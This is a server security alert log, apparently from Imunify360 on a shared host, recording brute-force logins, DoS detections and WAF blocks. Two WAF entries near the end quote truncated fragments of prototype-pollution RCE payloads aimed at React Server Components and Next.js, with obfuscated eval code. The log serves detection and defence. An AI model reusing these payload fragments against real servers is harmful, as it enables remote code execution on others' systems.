country_id: 2635167
description:
2026-06-25 12:33:35 dovecot_login authenticator failed for H=(2cGevvRicP) [152.32.198.215]:61100: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:34:34 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:34:36 dovecot_login authenticator failed for H=(uQ88puF) [152.32.198.215]:57383: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.32.198.215
country_id: 2635167
description:
Jun 25 12:35:44 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.32.198.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:35:46 dovecot_login authenticator failed for H=(w6ykFZo) [152.32.198.215]:64969: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-25 12:36:13 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:48614: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.96.165.143
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:199.96.165.143||TA:199.96.165.143||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.198.215
country_id: 2635167
description:
2026-06-25 12:35:22 dovecot_login authenticator failed for H=(rlfyrA) [152.32.198.215]:64812: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 12:35:24 +0000] info [webmaild] 160.242.195.10 - gblaou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.222.63.200
country_id: 99237
description:
[2026-06-25 12:37:12 +0000] info [cpaneld] 176.222.63.200 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.250.161.68
country_id: 1562822
description:
[2026-06-25 12:37:16 +0000] info [cpaneld] 171.250.161.68 - fbafrica "GET /login/?login_only=1&user=fbafrica&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fbafrica (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-25 12:36:35 +0000] info [cpaneld] 51.83.4.64 NEW ifxmoxbf:A4kX9_L3Rie7AftC address=51.83.4.64,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.232.231.132
country_id: 1282988
description:
[2026-06-25 12:37:32 +0000] info [cpaneld] 103.232.231.132 - fbafr "GET /login/?login_only=1&user=fbafr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fbafr (has_cpuser_file failed)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 71.132.8.142
country_id: 1814991
domain: macite.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.141.179.53
country_id: 2542007
description:
[2026-06-25 12:37:26 +0000] info [cpaneld] 41.141.179.53 - fbafri "GET /login/?login_only=1&user=fbafri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fbafri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.59.112.172
country_id: 290557
description:
[2026-06-25 12:37:40 +0000] info [cpaneld] 94.59.112.172 - fba "GET /login/?login_only=1&user=fba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.188.100.202
country_id: 3573591
description:
[2026-06-25 12:37:43 +0000] info [cpaneld] 181.188.100.202 - fb "GET /login/?login_only=1&user=fb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fb (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 193.32.162.204
country_id: 798549
description:
Denial of Service (DoS) attack was discovered from 193.32.162.204: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.242.178.0
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.242.178.0: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.179.228.119
country_id: 798544
description:
Jun 25 12:40:55 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.179.228.119 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.230.93.162
country_id: 1512440
description:
213.230.93.162 - - [25/Jun/2026:12:41:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12740196&pdata=https%253A%252F%252Fwww.boutique.cafe.tg%252F2020%252F01%252F24%252Fstadia-promises-more-than-120-games-in-next-year%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782391296 HTTP/2.0" 302 0 www.boutique.cafe.tg "http://www.baidu.tg/" "Mozilla/5.0 (Linux; Android 12; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.230.93.162


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 74.12.153.176
country_id: 6251999
description:
74.12.153.176 - - [25/Jun/2026:12:43:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12740196&pdata=https%253A%252F%252Fwww.boutique.cafe.tg%252F2020%252F01%252F24%252Fstadia-promises-more-than-120-games-in-next-year%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782391296 HTTP/2.0" 404 561 www.boutique.cafe.tg "https://www.bing.tg/" "Mozilla/5.0 (Linux; Android 10; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:74.12.153.176


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.194.212
country_id: 1880251
description:
43.172.194.212 - - [25/Jun/2026:12:43:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211495&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F22635&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782391382 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/22635" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.194.212


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.139.230.95
country_id: 4566966
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/togodailynews.tg/wp-content/uploads/2026/06/Kft59-300x200.webp HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-25 12:48:13 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-25 12:48:14 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.239.43.65
country_id: 1210997
description:
[2026-06-25 12:50:05 +0000] info [cpaneld] 103.239.43.65 - spro "GET /login/?login_only=1&user=spro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spro (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.75
country_id: 1880251
description:
43.172.195.75 - - [25/Jun/2026:12:50:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12817304&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fmobilisation-partielle%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782391804 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/mobilisation-partielle/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.75


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.223.175.215
country_id: 3469034
description:
[2026-06-25 12:49:47 +0000] info [cpaneld] 177.223.175.215 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.147.54
country_id: 99237
description:
[2026-06-25 12:49:50 +0000] info [cpaneld] 5.175.147.54 - sproca "GET /login/?login_only=1&user=sproca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.64.3.70
country_id: 1522867
description:
[2026-06-25 12:50:15 +0000] info [cpaneld] 176.64.3.70 - sp "GET /login/?login_only=1&user=sp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.86.74.206
country_id: 3469034
description:
[2026-06-25 12:49:55 +0000] info [cpaneld] 177.86.74.206 - sprocatg "GET /login/?login_only=1&user=sprocatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sprocatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.142.153
country_id: 3658394
description:
[2026-06-25 12:50:00 +0000] info [cpaneld] 157.100.142.153 - sproc "GET /login/?login_only=1&user=sproc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproc (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 12:54:22 ns5 pure-ftpd[531111]: (?@134.122.27.233) [WARNING] Authentication failed for user [Fds46YGFYd7]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 91.234.195.181
country_id: 3017382
description:
Denial of Service (DoS) attack was discovered from 91.234.195.181: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-25 12:55:58 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-25 12:56:00 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.3.23.243
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-55.193.3.23.243||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.77.49.115
country_id: 6252001
description:
[2026-06-25 12:56:58 +0000] info [cpaneld] 74.77.49.115 - kwbcfbmo "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.50
country_id: 1880251
description:
43.173.181.50 - - [25/Jun/2026:12:59:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066028&pdata=http%253A%252F%252Fcfmi.tg%252FpagesDynamiques%252Fpublication-photo.php%253Farticle%253D30%2526photo%253D1&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782392355 HTTP/1.1" 404 561 cfmi.tg "http://cfmi.tg/pagesDynamiques/publication-photo.php?article=30&photo=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.50


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.159
country_id: 1880251
description:
43.173.173.159 - - [25/Jun/2026:13:00:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608041&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fhacam%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782392407 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/hacam/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.159


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 118.137.66.180
country_id: 1643084
description:
118.137.66.180 - - [25/Jun/2026:13:00:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145495&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F03%252F10%252F1win-live-os-bons-jogos-de-cassino-ao-vivo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782392433 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/03/10/1win-live-os-bons-jogos-de-cassino-ao-vivo/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:118.137.66.180


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.118.38
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-01.146.103.118.38||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 49.36.171.247
country_id: 1269750
domain: lepoint-actu.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:newglevfer||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 27.125.241.25
country_id: 1733045
domain: lepoint-actu.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:trumpweiss||User:newglevfer||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 49.36.171.247
country_id: 1269750
domain: lepoint-actu.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:newglevfer||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 85.142.40.75
country_id: 2017370
domain: pnls.tg
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 8.229.148.112
country_id: 6252001
domain: dgdn-togo.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.20||T:APACHE||REQUEST_URI:/2019/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.97.34.27
country_id: 2921044
description:
[2026-06-25 13:06:55 +0000] info [cpaneld] 91.97.34.27 - wellcity "GET /login/?login_only=1&user=wellcity&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcity (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.228.81.64
country_id: 2017370
description:
[2026-06-25 13:07:08 +0000] info [cpaneld] 5.228.81.64 - wellc "GET /login/?login_only=1&user=wellc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.226.62.89
country_id: 3895114
description:
[2026-06-25 13:07:20 +0000] info [cpaneld] 181.226.62.89 - we "GET /login/?login_only=1&user=we&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user we (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.74.226.45
country_id: 1733045
description:
[2026-06-25 13:07:12 +0000] info [cpaneld] 180.74.226.45 - well "GET /login/?login_only=1&user=well&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user well (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.196.212.21
country_id: 2921044
description:
[2026-06-25 13:07:05 +0000] info [cpaneld] 213.196.212.21 - wellci "GET /login/?login_only=1&user=wellci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.202.98
country_id: 3469034
description:
[2026-06-25 13:07:03 +0000] info [cpaneld] 45.168.202.98 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.27.19.107
country_id: 3686110
description:
[2026-06-25 13:07:15 +0000] info [cpaneld] 190.27.19.107 - wel "GET /login/?login_only=1&user=wel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.156.4.70
country_id: 1562822
description:
[2026-06-25 13:06:53 +0000] info [cpaneld] 103.156.4.70 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.4.79
country_id: 2300660
description:
Jun 25 13:07:42 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.4.79 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 146.247.137.125
country_id: 3144096
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: More than 1000 JSON keys||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 13:10:24 +0000] info [cpaneld] 109.123.235.99 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.132.41.247
country_id: 2635167
description:
[2026-06-25 13:11:26 +0000] info [whostmgrd] 81.132.41.247 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: autodiscover.moodle.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"status\":\"resolved_model\",\"x_107b4dae\":\"a1fb\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var mhmt=arguments[0x1];var oje=mhmt;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"__54344611\":\"9c24\",\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var ppd=[].slice.call(arguments,1)[0];var att=ppd;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"u\\\",\\\"ffe\\\",\\\"r\\\


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 34.31.88.250
country_id: 6252001
domain: clinique-ccl.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.56
country_id: 3017382
description:
[2026-06-25 13:14:11 +0000] info [cpaneld] 5.231.64.56 NEW wcnyaruu:HxMaqkiaU5t4tvMS address=5.231.64.56,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.118.38
country_id: 2750405
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-17.146.103.118.38||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 136.158.10.144
country_id: 1694008
description:
136.158.10.144 - - [25/Jun/2026:13:19:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262894&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-31867fetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782393544 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-31867fetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:136.158.10.144


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.238.231.31
country_id: 6252001
description:
185.238.231.31 - - [25/Jun/2026:13:20:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920338&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ%253D%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782393617 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.238.231.31


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 13:19:56 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.34.151.14
country_id: 2017370
description:
[2026-06-25 13:21:19 +0000] info [cpaneld] 178.34.151.14 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.188.62.28
country_id: 2542007
description:
[2026-06-25 13:22:09 +0000] info [cpaneld] 105.188.62.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.170.124.161
country_id: 2017370
description:
[2026-06-25 13:21:25 +0000] info [cpaneld] 109.170.124.161 - ameak "GET /login/?login_only=1&user=ameak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.111.225.231
country_id: 1210997
description:
[2026-06-25 13:21:40 +0000] info [cpaneld] 103.111.225.231 - ame "GET /login/?login_only=1&user=ame&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ame (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.172.131.33
country_id: 3469034
description:
[2026-06-25 13:22:21 +0000] info [cpaneld] 179.172.131.33 - lasn "GET /login/?login_only=1&user=lasn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 112.197.242.182
country_id: 1562822
description:
[2026-06-25 13:21:34 +0000] info [cpaneld] 112.197.242.182 - amea "GET /login/?login_only=1&user=amea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user amea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.73.180.70
country_id: 953987
description:
[2026-06-25 13:21:30 +0000] info [cpaneld] 165.73.180.70 - ameakco "GET /login/?login_only=1&user=ameakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameakco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.199.230
country_id: 1562822
description:
[2026-06-25 13:21:47 +0000] info [cpaneld] 171.225.199.230 - am "GET /login/?login_only=1&user=am&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user am (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.161.142.62
country_id: 290291
description:
[2026-06-25 13:22:28 +0000] info [cpaneld] 109.161.142.62 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.182.237.169
country_id: 3469034
description:
[2026-06-25 13:25:17 +0000] info [cpaneld] 187.182.237.169 - delx "GET /login/?login_only=1&user=delx&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delx (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.249.68.167
country_id: 3996063
description:
